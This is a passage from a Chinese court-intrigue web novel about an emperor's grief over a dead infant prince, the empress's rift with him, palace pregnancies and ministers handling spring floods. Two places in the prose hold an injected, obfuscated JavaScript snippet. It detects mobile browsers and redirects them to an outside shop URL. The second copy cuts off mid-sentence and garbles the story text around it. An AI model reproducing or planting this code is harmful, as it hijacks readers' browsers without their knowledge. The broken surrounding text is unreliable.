师霖愣了愣,抬头看着她的眼睛,良久,斟酌着开口道:“有个人......明日要来见你。” “侧室,妾,还是外室?又或者是平妻?”端木萌道。 师霖讶然。 “你......知道了?” “你我之间自内到外没有什么不好直言的,猜也猜到了。”端木萌没有抬头,话意中却似藏着冷笑。 师霖亦低下头去,缓缓开口:“两个月前,我有一次酒醉宿在了外面......她是酒楼老板的女儿,我——前些日子那老板找到我,说是她......有了身孕。” “呵。”端木萌冷笑出声,抬头看向他垂下去的还沾着水的发丝,道:“你怕什么,我嫁给你时又没说你不能纳妾。虽说师家你们兄弟几人都只一双夫妻美名在外,但说到底,也是你那大哥二哥都走得早,你和四叔又年轻罢了。”又忍不住还是叹了口气:“也罢。既要纳妾,你且自去弄了正经文书。这些日子仓促,便叫她跟着去逢州,到了那边再正式进门罢。” 端木萌如此一口气地说着,而后便转过身去,吸了口气,轻声道:“我有些乏了,你今晚......” “我去书房睡。” 车队途径榷县时停下修整,婷欢也带着棠欢下了车,坐到驿道旁树荫下的石头上。 师迟和师言骑着马走了好远又兜回来,将马交给成伯他们带去吃草修整,自己拿着水壶在姐妹们身旁席地而坐。 师言仰头喝了一口水润嗓,棠欢看见他水壶上的挂件,伸着手去拿,道:“四哥,你这个挂件倒好看,不像是京城的东西,你是哪里来的?” 师言把挂件拽下来递给棠欢,道:“二姐送我的,好像是皇后娘娘赏给她的陪嫁里头的,似乎是先前女真那位娘娘带过来的东西。二姐姐没有给你么?” “二姐姐给我的是一个玉壶吊坠,不是这种。”棠欢拿在手里把玩了一会儿,就觉得也没有什么意思,又把师言的水壶要来给他系了回去,又奇道:“说起来姑姑给大姐姐二姐姐一起赐了婚,为何给大姐姐赏赐的陪嫁里面没有这些玩意儿?” “因为大姐嫁的是心爱之人,二姐要嫁的是岳家那个呆子。”师迟嗤道。 “那为什么姑姑会让二姐嫁给他?” 师迟和师言愣了愣,对视了一眼,又一齐看向一直沉默不语的师婷欢。师婷欢的眼神阴翳了一瞬,却似乎没有听见似的,只道:“已经定下来的事,多说无益。”又状似玩笑道:“你们这般会编排别人,倒不知你们做人丈夫时又是何模样。” 此番离京前,除了应对随着赐婚之喜而来的种种仪式与应酬,端木萌还顺便将几个较年长的孩子的亲事也敲定了下来。师焕的亲事,萧晨去世前曾做了安排,只是彼时为时尚早,恐生变动,便仔细选了几个人选出来,交代端木萌留意着。师焕是长房长子,其妇日后将担起宗妇的重担,必得慎之又慎。多方考量与商议后,最终定了归县言氏的长房次女言晓风。 言氏是归县的望族,书香传世,治家严谨,祖上做到过太子少保,而今家中子弟大多在地方为官或治学,在京中为官的只有言晓风的父亲、太中大夫言陵一人。 师迟则由端木萌一手操办,定了端明殿大学士步远的女儿步成安。这姑娘性子肖似年轻时候的端木萌,虽然家中父兄都是文士却跟着习武的舅舅自小扮作男装走南闯北,十岁上回了京,仍喜扮作男子戴着面具骑马游街,全然是“银鞍照白马,飒沓如流星”的少年将军般模样,引得一群不明就里的闺秀对传说中的“将军公子”青睐有加。 定下这门亲事前师迟却也只是有所听闻,然而知道了那“将军公子”竟是自己未婚妻子时却是暴跳如雷,将人约到郊外马场比试了一番,再归家时入坠蜜罐,但凡有人在他面前提起“将军公子”或是“步姑娘”,便是如现在师婷欢所见的这副脸红到耳朵根的样子。 此外,便是师玘与官成澈的小女儿官闻霰定了亲。这桩婚事顺利得很,原是端木婉与官成澈的夫人姜舜在景安和岳添的定亲宴上闲聊间一拍而合。师玘与官闻霰两人从前也见过,两位母亲回家一问,也都没有异议,便就此定下了婚事。 至于师玘先于姐姐师莞安定亲一事,原是师莞安拼死说自己未找到心上人前绝对不“将一辈子的姻缘草草了事”,端木婉也纵着她,便不了了之了。 这般说起来,师婷欢倒对着师言发起了愁:“你与玘哥儿就差了不到两个月的年纪,倒不知道你的姻缘在哪里。” 师言只道:“比起岳家表哥,我这年岁还是不需要着急的。”他望了望车队末尾,问师婷欢道:“方才我和二哥走在后面时,瞧见四妹妹和五妹妹的马车后面还有一辆马车,里面坐的是谁?” 师婷欢望后瞟了一眼,冷声道:“到了逢州,我们几个就该称那人一声‘姨娘’。” “姨娘?”师迟和师言异口同声问道。 师棠欢也攀着姐姐的肩,问道:“什么是姨娘?我听过苏大姐姐管苏三姐姐的娘叫姨娘,是一个姨娘吗?” 师婷欢有些哭笑不得,看了眼端木萌的马车,叹道:“你们知道了就罢了,切莫多说。娘面儿上一副无所谓的样子,如今正心烦呢。至于到了逢州后如何,且再看就是了。” 是夜,静姝阁内烛光幽暗。层层叠叠的月白帘幔挽着清冷的春风,滞涩一室光影。 师冉月穿着素服,眸光越过层层纱幔和屏风,只瞧见一个朦胧羸弱的消瘦身影,面朝里侧躺在榻上。不晓得她是否睡下,听不见哭声,却能想知她的枕上被上积起的斑斑泪痕。 师冉月默默站了一会儿,不作声响,转身出了阁门。 院中蒋纹、赵玉熹和江映三人皆穿着素白色衣裳,并排立着,见她出来,纷纷恭身行礼。师冉月只摆了摆手阻止她们出声,不曾停下脚步,也不多言,独自一人越走越快,直至清和殿。 清和殿依旧昏暗,甚至几乎连一丝人气儿都没有。 烟水和近黛都不在,唯有薄枝和栖洲守在殿门口。师冉月叹气道:“陛下呢?” “禀娘娘,陛下下午喝醉了酒,睡了一会儿,方才醒了便说要出去转转,不许人跟着。” “近黛呢?” “近黛姑姑不在京中。” 师冉月便也不管她们,自己进了清和殿,借着仍燃着的一点微弱烛光,看见桌案上摊开着《诗经》、《楚辞》并其余基本古籍,旁边还有一张纸上工整写着几个寓意上佳的字。 奏疏则一并被放在边角,似是有人专门整理过,却被弃置一旁,已经落了好几日的灰。 复景年间,休养生息,而后用兵平叛,似乎一切平定,而能平安康乐,故而改元。 然则事实却是用政过激,兵乱扰民,比起大化年间虽有所安定,却收效甚微。 这个原本似乎并不该属于他们的王朝真真正正是大厦将倾,似乎已经到了端木玄亦心死,渐渐听之任之的无可挽回的地步了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226168|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师冉月突然有些鼻酸,自己却不知是为了什么。她背过身去深吸了几口气,再环顾四周,偌大的正殿比起当年密室般的楚王府书房还要清冷幽暗几分。 端木玄不大喜欢原先这宫里伺候的人,因此除了岑嘱全一个掌事太监,余下能在这殿内近身侍奉的都是影卫中人,确如影子一般悄无声息。 罗幕和香径才赶到这殿外来,微微喘着气,站在门外道:“娘娘,陛下在坤宁殿,似乎有些醉了,一定要亲自哄二公主入睡,公主哭闹不止,怎么也哄不好。陛下还叫人让合月姑姑将太子殿下也领了去——您还是快回去看看罢!” 师冉月登时觉得眼前一黑,手指按住桌角,稳了稳身形,定神往坤宁殿回。 坤宁殿果然正灯火通明。 端木汐幼小却洪亮的哭声无序地扰动着每一个人的心神,只有端木玄执着地抱着她哄着她,异常地耐心且慈爱。闻见周围宫人向师冉月行礼的声响,他亦未曾抬头,直到她走到他的身旁,微凉的手指抚上他的手,慢慢握紧,像是水生的藤蔓。 端木玄僵直着身体,不作声响。 师冉月轻叹着,开口时嗓音竟黏腻着,还带着些哭腔,于是只是轻唤了一声“陛下”便失了声,短促的像是飞在空中的大雁被骤然射中咽喉的箭矢打断了长鸣。她又扭过头去,不知过了多久,低着头转过身来,沉声道:“天晚了,明日还有早朝,陛下早些歇息罢。” 说着,又令木莲不顾端木玄反应,直接将端木汐抱离了他的怀中,快步离开了正殿。合月得了她的首肯,也拉着频频回头的端木玦离开了坤宁殿。 端木玄仍保持着半抱着襁褓的姿势,眼睛直愣愣的,活像痴傻了。 音儿瞧着二人的样子,心中长叹,用眼神屏退殿中余下众人,与岑嘱全一道缓缓闭紧了沉重的殿门。 烛光摇晃了一瞬。 师冉月吸了吸气,尽力冷声道:“不过是失了一个妃嫔生的孩子......陛下向来也不大看重子嗣,做出这般样子,是为了给谁看?”她目光轻轻落到一旁,屏着气,又道:“你根本就不难过,期待也是装出来的,如今这般疯魔也是装出来的——你怕人说你做人父亲也冷心冷肺......你——” “别说了!”端木玄转身,声音尖促。“......师冉月,你又何必——” 何必说出口呢,何必打破原本的默契呢。 师冉月猛然惊醒般止住话,却莫名觉得有些爽快,甚至还有些意犹未尽,可却鼻酸着控制不住地让泪水盛满了双眼。 她觉得他们都疯了。 满室烛火的灯影凝固在暗金的纱幔上,连外面的树影都似窗纱的印画,滞涩在幽暗的春夜里。两人半身背对着,各自低着头,似是两座失了神智的雕像,更似是台前被剥下精致面皮而无措遮羞的优伶。 偏似恰赶在此时,岑嘱全在殿外拔高了略有些颤抖的声音,道“陛下,娘娘,贤妃娘娘在殿外求见!” 端木玄骤然放松了表情,甩了甩手臂,沉声教她进来。师冉月却急促地回转过身,背对着殿门,低首擦了擦眼角,才在那人的裙裾扫过门槛的那一刻回转过身,摆出一点平和的神态。 徐聆雨像一束开在夜里的花,摇曳着飘进殿里,没有注意到尚未散去的满室狼藉,眼角眉梢都带着笑意,悠悠行礼道:“臣妾来向陛下和娘娘道喜——凤宁阁的孙才人有喜了。” 师冉月微微愣神,瞟了一眼端木玄,匆匆开口道:“是吗......孙才人现在可还好?” “孙才人如今好着呢。孙才人的胎已三月有余,如今已然稳妥,臣妾才敢来向陛下和娘娘禀报。说来臣妾也想替她向陛下和娘娘讨个封赏,有您二位福泽庇佑,也好保佑皇嗣顺利降生。” 徐聆雨眼角点着玫红色的脂粉,在白净的脸上似是绽开一朵曼陀罗。师冉月闭开她的视线,只低下头,盯着自己与端木玄并排交叠的衣角,未置一词。 “传朕旨意,才人孙氏有喜,赐玉如意一柄,福禄香囊一对,赏金五十两......才人俞氏诞育皇嗣有功,晋位充仪,以示抚慰。” “臣妾领旨。” 54. 第 54 章 “我就知道你会来。” 林绵淡淡笑着,将师冉月迎入殿内,直接教她坐在自己榻上。宫人端来热姜茶,又点上安神的香,便轻声退下。 师冉月笑得有些恍惚:“更深露重,绵姐姐怎么还没休息?”方才时近四更,她踱步至辰阳殿,竟见满殿虽听不见什么声响,却灯火通明,一时竟有些好笑的惊骇。 “听说了今晚的事,我便猜到夜间有客来访,特意恭候。”林绵握住她的手。 师冉月笑了笑:“也罢,左右明日有什么事与你我也无甚关系,大不了便通宵一晚也无妨。” “通宵不通宵的,将心中的话说出来了,日后才能睡得好。我听说陛下晋了俞氏的位分,以表抚慰......后宫中幼子夭折原也是常事,哀痛便罢,只要不心死,便有来日了。” “夭折......我今日特意问了太医,都说是俞氏年少孕子,先天不足,能顺利生产已是难事。三皇子天生孱弱,甚至出生时便差点窒息而死,如今夭折也是平常。” “太医医案日日记载,到不会有什么错。”林绵叹道,“你是疑心三皇子是遭人陷害?” “那倒也没有。”师冉月摇了摇头,“太医说的这些,我原本也知道,只是今日听了俞氏哭诉,实在是一番慈母之心,她又尚且年少......我便心存不忍罢了。”她又叹了一声,又道:“我原本到清和殿去,就是想寻陛下做些什么,能多少安慰俞氏一番。毕竟陛下已有两子两女,人又正值中年,后宫中嫔妃亦是年轻,来日必也不缺子女,而这却是俞氏第一个孩子。谁承想——” 他竟突地疯魔了,她竟也跟着痴痴傻傻说出那般话来。 林绵叹道:“他的确不算是个称职的父亲,兴许是因为什么事而有所悔过,却碰上幼子夭折,一时崩溃也是有的。我听闻前朝近来似乎也有些不顺......不过此时孙氏有喜,兴许能教他宽慰些罢。” 说及孙氏,师冉月倒是愈发皱起眉来,便向林绵叙说了她回到坤宁殿前后之事,略去她与端木玄那些疯话不谈,道:“徐贤妃这回倒蹊跷。先前就连端木胭丧子时她还对我叹惋不已,这会儿却似没事儿人一般,赶在此时向陛下说那孙氏怀孕一事,不知是为了宽慰陛下还是为了什么。” 林绵摇头叹道:“她这个人,打从一过府我便有些摸不清。不过我倒是觉得前些日子俞氏的母亲和嫂子进宫来看望她时,徐氏的神情便有些不对,也许是触景生情,心态也跟着变了罢。”说着,又嘲讽般笑道:“毕竟她不似你,有兄嫂时时支撑依靠,也不似我全没个父母亲人,也没有什么念想。她家中父亲和兄嫂远在天边,指仗着她复兴昌留郡王府,又不能教她依托,似乎也不大亲近......她哪怕全然是为了自己谋划些什么倒也正常。” 昌留郡王府本就是因着徐聆雨的祖母也即武帝姑母昌留大长公主身上的恩典才兴盛起来的,徐氏其余几房早就没落不堪,依靠着微薄的田产和典当度日。昌留郡王府这些年靠着点食邑和宫中的恩惠赏赐勉强维持着昔日宗亲的一点面子,也是入不敷出。 郡王徐演早年好色酗酒,如今五十出头已是缠绵病榻。长子也即徐聆雨的兄长徐策资质平平,也不思功名。世子夫人梁婳倒是精明些,却也无力挽救。二人膝下仅有个八岁的儿子徐传业,之后再未有儿女,也算子嗣单薄。 徐聆雨的妹妹徐酌雨倒是招婿在家,可惜她的夫婿孟继性情急躁,空有进取之心而无能平庸,也不算什么良善之辈。 算起来全家甚至徐氏另外几房,的确只靠着徐聆雨一人的恩典支撑。徐聆雨想顾及他们也罢,自己脱身向上求索也罢,林绵倒觉得都很合理。 师冉月叹道:“罢了,事已至此。我如今只是不晓得日后该如何面对陛下,今日也不知道为何就说出那样的话来。”她捂着脸,悻悻道:“兴许我的确看不惯他装模作样地安慰自己,所以想激他一激,又或者是,看不惯他那般疯魔痴傻、自暴自弃的样子......夫妻做成这个样子,也是千古头一遭罢。” 长夜漫漫,清和殿亦是孤灯长明。 天将破晓之际,烟水端了一碗热粥进来,将粥放在端木玄身前的小几上,又默默将散落在地的酒盅和纸笔收拾整齐,方轻声道:“该上朝了,陛下。” 端木玄恹恹抬眸,瞥了她一眼,晃晃悠悠地起身。 岑嘱全侯在殿门旁,眯眼观察着,与烟水遥遥对视上,才放下悬着的心。殿外等候的宫人这才敢鱼贯而入,侍奉端木玄洗漱更衣。 烟水在众人身后,不作声响地退出到殿外,站在岑嘱全身旁。岑嘱全叹道:“今日可是多亏了姑姑您呐。不过看着这时辰,今日陛下上朝恐怕又要迟些时候了。” “迟些也比不去的好。”烟水道。 二人沉默立着,也不知过了多久,端木玄收拾整齐,抬步迈出,又看了烟水一眼,开口时嗓音沙哑,道:“晚些时候你去坤宁殿,问问皇后南巡一事。她想怎么做便由她去,你看着安排。” “是。” 他又扭了扭头,看了岑嘱全一眼,岑嘱全了然带着余下诸人退到一旁。端木玄这才又问道:“近黛何时回来?” “绛县冰排,恐怕还要耽搁几日。”烟水答道,“这几日属下会吩咐薄枝和栖洲仔细侍候。” “也罢,传信过去叫她顺便走一趟觅县。薄枝留下......叫栖洲去一趟江州和厝州罢。” “明白。” 端木玄站在原地,眯着眼抬头望了望逐渐亮起来的天幕,觉得有些头晕目眩,又低头缓了缓,想到一会儿上朝那些人又要参些什么,顿时又是一阵头疼。 他抬手揉了揉太阳穴,暗自深吸了一口气,便拔腿快步向崇政殿去。 “今日除去觅县与绛县冰排一事和江淮春旱,其余不必多讲。” 刘晦遂率先奏道:“启禀陛下,觅、绛两地地处大河北流河段沿岸,冰排本是例年春日常事。今年堤防不牢,以致两地汛灾,所幸抢救及时,危害不大,臣以为当尽快调任熟知水利的官员赴当地修改堤防,赈济灾民,尽快恢复春播,才好不误农时生产。” “刘卿可有人选推荐?” “侍郎卢季驯曾两度治理大河决口,又曾在觅县任职,臣以为是不二人选。” 端木玄点头道:“那便有劳卢卿再到觅县走一趟了。” “臣定不负陛下所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵妥这半个月却是多白了好几根头发。本来今年便轮上地方官员调任述职,没几个月等礼部放完榜便是吏部铨选,更是忙上加忙。先前递上去的折子因着三皇子夭折磋磨了快一个月还没有动静,今日端木玄更是一坐下就只许谈冰排和春旱一事——冰排与春旱虽也要紧,但火烧不到他头上,如今他就很难共情。 官成澈看着他呵呵笑道:“赵大人也不必太着急,我听闻付大人昨日已经连着上了六个折子请求奏对。陛下晓得你们辛苦,来日就算出了什么岔子想来也不会太怪罪。” 提起礼部侍郎付储,赵妥更是头疼。付储那是举朝闻名的一根筋,如今已经快六十了,仍旧精神矍铄,一言不合就要求奏对,也不肯听他的劝。头疼复头疼,赵妥一甩袖子,道:“罢了,我也去请奏对!” 别管端木玄烦也不烦,先将吏部的事敲定再说。 官成澈装模作样地捋了捋才留没多久的胡须,暗叹若是师霖还在朝中,这些事原没有这般麻烦。如今吴称算是代了师霖的位子,然而“旧党”这些人却不大听他的,他自己也只肯中立以躲是非,是按端木玄喜好行事,实在令人无语。 “哎,罢了罢了。”他长叹一声,揣揣袖子,想着今日既早,不如到前街去买块肥瘦相间的炙猪肉回家与夫人吃,又或者是到白矾楼来两壶烧酒并几个水晶包子呢?